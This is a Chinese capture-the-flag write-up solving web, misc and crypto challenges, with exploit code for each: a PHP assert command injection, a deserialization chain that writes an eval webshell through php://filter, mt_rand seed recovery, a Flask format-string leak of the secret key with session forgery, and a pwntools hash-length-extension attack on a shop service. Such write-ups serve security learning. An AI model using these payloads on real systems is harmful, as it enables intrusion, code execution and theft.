WEB
warmup
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php require_once ('flag.php' ); error_reporting(0 ); if (!isset ($_GET['u' ])){ highlight_file(__FILE__ ); die (); }else { $i=$_GET['i' ]; $u=$_GET['u' ]; if ($_GET['u' ]!="Hello World" ){ die ('die...' ); } assert("$i == $u" ); }
有个assert函数,利用注释符将后面的东西注释掉,然后进行命令执行,payload
1 2
?u=Hello World&i=system('cat flag.php' ); ?u=Hello World&i=system('sort flag.php' );%23
simple ser
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
<?php class cls1 { var $cls; var $arr; function show () { show_source(__FILE__ ); } function __wakeup () { foreach ($this ->arr as $k => $v) echo $this ->cls->$v; } } class cls2 { var $filename = 'hello.php' ; var $txt = '' ; function __get ($key) { var_dump($key); if ($key == 'fileput' ) return $this ->fileput(); else return '<p>' .htmlspecialchars($key).'</p>' ; } function fileput () { if (strpos($this ->filename,'../' ) !== false || strpos($this ->filename,'\\' ) !== false ) die (); $content = '<?php die(\'stupid\'); ?>' ; $content .= $this ->txt; file_put_contents($this ->filename, $content); return htmlspecialchars($content); } } if (!empty ($_GET)){ $cls = base64_decode($_GET['ser' ]); $instance = unserialize($cls); }else { $a = new cls1(); $a->show(); }
一道很经典的反序列化题,pop链如下: 通过cls1的_wakeup方法调用cls2的_get方法,然后调用fileput方法,绕过里面的退出,写个小马,然后任意命令执行 exp如下
1 2 3 4 5 6 7
$c1 = new cls1(); $c2 = new cls2(); $c1->cls = $c2; $c1->arr = ['a' =>'fileput' ]; $c2->filename = 'php://filter/write=convert.base64-decode/resource=hello.php' ; $c2->txt = 'PD9waHAgZXZhbChAJF9QT1NUWydjbWQnXSk7Pz4=' ; echo base64_encode(serialize($c1));
然后直接ser发送过去就会生成hello.php小马,接着菜刀就行
Download it
这题考的是php随机函数的安全性漏洞,在SWPU也考过,首先可以看到三张源码图 通过源码我们可以确定,考察的就是随机数的安全问题,所以先找种子 在index.php里面有个随机数IJiJXvRf,先拿去爆破
1 2 3 4 5 6 7
$str = "IJiJXvRf" ; $rand = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; for ($i=0 ; $i<strlen($str); $i++){ $pos = strpos($rand,$str[$i]); echo $pos." " .$pos." " ."0 " .(strlen($rand)-1 )." " ; }
然后生成32位的随机码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
function gen_rand ($length) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; $randstr = '' ; for ( $i = 0 ; $i < $length; $i++ ) { $randstr .= $chars[ mt_rand(0 , strlen($chars) - 1 ) ]; } return $randstr; } echo "<br>" ;mt_srand(810504305 ); echo gen_rand(8 );echo "<br>" ;echo gen_rand(32 );echo "<br>" ;
然后读flag
1
echo authcode("filename=flag" ,"ENCODE" ,"OaxSTnku5XqaQ9ly6D14roxGFTF5KbQj" );
然后将得到的进行url编码接着访问download.php?download=就行了
easy flask
这题先去注册登录,然后可以看到有个session 解密一下出来是一个id值 登录页面发现有id这个参数,遍历一下可以看到id是5时,用户是admin 扫下泄露出来一个www.zip ,可以看到,想要拿到flag,必须是管理员
1 2 3 4 5 6 7 8
@bp_auth.route('/flag') @login_check def get_flag () :if (g.user.username=="admin" ):with open(os.path.dirname(__file__)+'/flag' ,'rb' ) as f:flag = f.read() return flagreturn "Not admin!!"
继续看下secret.py有个views_info函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
@bp_secert.route('/views',methods = ['GET','POST']) @login_check def views_info () :view_id = request.args.get('id' ) if not view_id:view_id = session.get('user_id' ) user_m = user.query.filter_by(id=view_id).first() if user_m is None :flash(u"该用户未注册" ) return render_template('secert/views.html' )if str(session.get('user_id' ))==str(view_id):secert_m = secert.query.filter_by(id=view_id).first() secert_t = u"<p>{secert.secert}<p>" .format(secert = secert_m) else :secert_t = u"<p>***************************************<p>" name = u"<h1>name:{user_m.username}<h1>" email = u"<h2>email:{user_m.email}<h2>" info = (name+email+secert_t).format(user_m=user_m) return render_template('secert/views.html' ,info = info)
可以看到,这里有个format函数,里面有name、email和secret_t,继续往上看,还有一个format函数,解析secret_m,secret_m就是页面edit_secret的那个参数,至此,我们就可以利用format格式化字符串漏洞获得secret-key然后session伪造登录 payload如下
1
{user_m.__class__.__mro__[1 ].__class__.__mro__[0 ].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
最后得到secret_key为ichunqiuQAQ013,接下来就是session的伪造
1 2 3 4 5 6 7 8 9 10 11 12
from flask import Flask,sessionapp = Flask(__name__) app.config['SECRET_KEY' ] = 'ichunqiuQAQ013' def set_id () : session['id' ] = 5 return "ok" if __name__ == '__main__' : app.debug = True app.run()
然后修改session登录访问/flag就有flag
misc
签到
一张数独的图,拿去在线解密一下再将所有数字排成一行加密一下就有了 加密出来结果是
1
cee3860fb3f4a52e615fa8aaf3c91f2b
马男波杰克
题目只说了要百度,然后图片名字是atool,猜测是atool加密,去在线解密一下http://www.atool.org/steganography.php
血小板天下第一可爱
拿到两张图片,一张血小板,一张缺了两个定位点的二维码,补全一下扫出来这个东西
1
a2V5JTNBJTIwTHNiXzFzX2dyM2F0
base64解密出来是key: Lsb_1s_gr3at,推测是lsb隐写
1
python lsb.py extract 123. png 123. txt Lsb_1s_gr3at
出来flag是flag{1_l0ve_LSB~}
flag_universe
拿到一个数据包,然后去追踪ftp流,这里有个坑,有个flag.txt文件,是个flag来的,接着看到有个new_universe.png文件,将它导出来 接着去各种操作,最后发现是lsb隐写,一场比赛考两个lsb隐写…….
crypto
常规rsa
这个打开拿到三个文件,一个pubkey.pem,一个flag.enc,还有一个rsa.py,先去提下公钥信息
1 2 3 4 5 6 7 8 9 10 11 12
Public-Key: (256 bit) Modulus: 00:89:3f:05:5d:0d:c5:fe:76:4d:88:1d:5c:d6:0e: 96:7b:21:2c:e0:49:45:9e:57:d2:e8:41:ed:4a:81: af:77:ed Exponent: 9850747023606211927 (0x88b4e239fa48e557) Modulus=893F055D0DC5FE764D881D5CD60E967B212CE049459E57D2E841ED4A81AF77ED writing RSA key -----BEGIN PUBLIC KEY----- MEIwDQYJKoZIhvcNAQEBBQADMQAwLgIhAIk/BV0Nxf52TYgdXNYOlnshLOBJRZ5X 0uhB7UqBr3ftAgkAiLTiOfpI5Vc= -----END PUBLIC KEY-----
看到n比较小,直接去网站分解下n
1 2
q = 184333227921154992916659782580114145999 p = 336771668019607304680919844592337860739
同时看encrypt函数,可以看见有个try … except ,而且flag.enc 中的数据很大,说明初始的 n 并不是最后加密的 N 值(因为RSA加密需要公钥n的长度至少是大于消息的长度的, 否则加密出来的密文会无法解密. PKCS#1 v1.5的python实现中, 如果公钥n长度小于要加密的消息, 加密会失败) 最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import gmpy2import libnumfrom Crypto.Util.number import getPrimefrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5from base64 import b64decodem = b64decode(open('flag.enc' ,'r' ).read()) n = 62078208638445817213739226854534031566665495569130972218813975279479576033261 e = 9850747023606211927 q = 184333227921154992916659782580114145999 p = 336771668019607304680919844592337860739 i=1 while 1 : print i i+=1 n=q*p if n >= int(m.encode('hex' ),16 ): d = libnum.invmod(e,(p-1 )*(q-1 )) prikey = RSA.construct((int(n),int(e),int(d))) key = PKCS1_v1_5.new(prikey) m = key.decrypt(m,None ) break else : p = gmpy2.next_prime(p**2 +q**2 ) q = gmpy2.next_prime(2 *q*p) e = gmpy2.next_prime(e**2 ) print m
最后的flag
1
flag{f@cToR__N_bY_!teratlnG!}
买手机
题目给了一个商店的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
import randomimport stringimport signalimport sysimport osimport timefrom hashlib import sha256from urlparse import parse_qslos.chdir(os.path.dirname(os.path.abspath(__file__))) signkey = '' .join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8 ,32 ))]) items = [ ('iPhone X' , 7399 ), ('iPhone 8' , 4599 ), ('P20 Pro' , 5488 ), ('P20' , 3788 ), ('Honor 10' , 2399 ), ('Mi 8' , 2999 ), ('Find X' , 4999 ), ('Nex' , 4498 ), ('Mate10 Pro' , 4899 ), ('Flag' , 99999 ) ] money = random.randint(3000 , 30000 ) def list_items () : for i,item in enumerate(items): print '%2d - %-30s$%d' % (i, item[0 ], item[1 ]) def order () : n = input_int('Product ID: ' ) if n < 0 or n >= len(items): print 'Invalid ID!' return payment = 'product=%s&price=%d×tamp=%d' % (items[n][0 ], items[n][1 ], time.time()*1000000 ) sign = sha256(signkey+payment).hexdigest() payment += '&sign=%s' % sign print 'Your order:\n%s\n' % payment def pay () : global money print 'Your order:' sys.stdout.flush() payment = raw_input().strip() sp = payment.rfind('&sign=' ) if sp == -1 : print 'Invalid Order!' return sign = payment[sp+6 :] try : sign = sign.decode('hex' ) except TypeError: print 'Invalid Order!' return payment = payment[:sp] signchk = sha256(signkey+payment).digest() if signchk != sign: print 'Invalid Order!' return for k,v in parse_qsl(payment): if k == 'product' : product = v elif k == 'price' : try : price = int(v) except ValueError: print 'Invalid Order!' return if money < price: print 'Go away you poor bastard!' return money -= price print 'Your current money: $%d' % money print 'You have bought %s' % product if product == 'Flag' : print 'Well Done! Here is your flag: %s' % open('flag' ).read().strip() def input_int (prompt) : sys.stdout.write(prompt) sys.stdout.flush() try : n = int(raw_input()) return n except : return 0 def menu () : print "CPU Shop" while True : print "Money: $%d" % money print "1. List Items" print "2. Order" print "3. Pay" print "4. Exit" sys.stdout.flush() choice = input_int("Command: " ) { 1 : list_items, 2 : order, 3 : pay, 4 : exit, }.get(choice, lambda *args:1 )() sys.stdout.flush() if __name__ == "__main__" : signal.alarm(60 ) menu()
可以看到,有四个选项,1是显示商品,2是拿到购买命令,3是购买,4是退出,然后操作要在60秒完成,商品有flag,但是买不起,我们先看order函数
1 2 3
payment = 'product=%s&price=%d×tamp=%d' % (items[n][0 ], items[n][1 ], time.time()*1000000 ) sign = sha256(signkey+payment).hexdigest() payment += '&sign=%s' % sign
可以看到他会将product,price和一个signkey一起加密,接着看pay函数
1 2 3 4 5 6 7 8 9
for k,v in parse_qsl(payment): if k == 'product' : product = v elif k == 'price' : try : price = int(v) except ValueError: print 'Invalid Order!' return
在pay的时候依旧验证hash值,但是这里还有个问题,他会将里面的product拿出来进行覆盖,因此我们可以选一个够钱买的,然后将product名字替换成Flag,就可以买到flag了 至于signkey我们不知道怎么办呢,因为他长度不长,只有8-32位,所以可以利用hashpump进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
from hashpumpy import hashpumpfrom pwn import *context.log_level = 'debug' host = '117.50.13.182' port = 8888 r = remote(host, port) r.recvuntil('Command: ' ) r.sendline(b'2' ) r.recvuntil('ID: ' ) r.sendline(b'0' ) r.recvuntil('Your order:\n' ) payment = r.recvline().strip().decode() sp = payment.rfind('&sign=' ) pay = payment[:sp] hexd = payment[sp+6 :] print pay,hexdfor i in range(8 ,34 ):print irec = r.recvuntil('Command: ' ) print recif 'flag' in rec:print i,recbreak r.sendline('3' ) hashp = hashpump(hexd, pay, '&product=Flag' ,i) sendpay = hashp[1 ] + b'&sign=' + hashp[0 ].encode() r.sendline(sendpay)
评论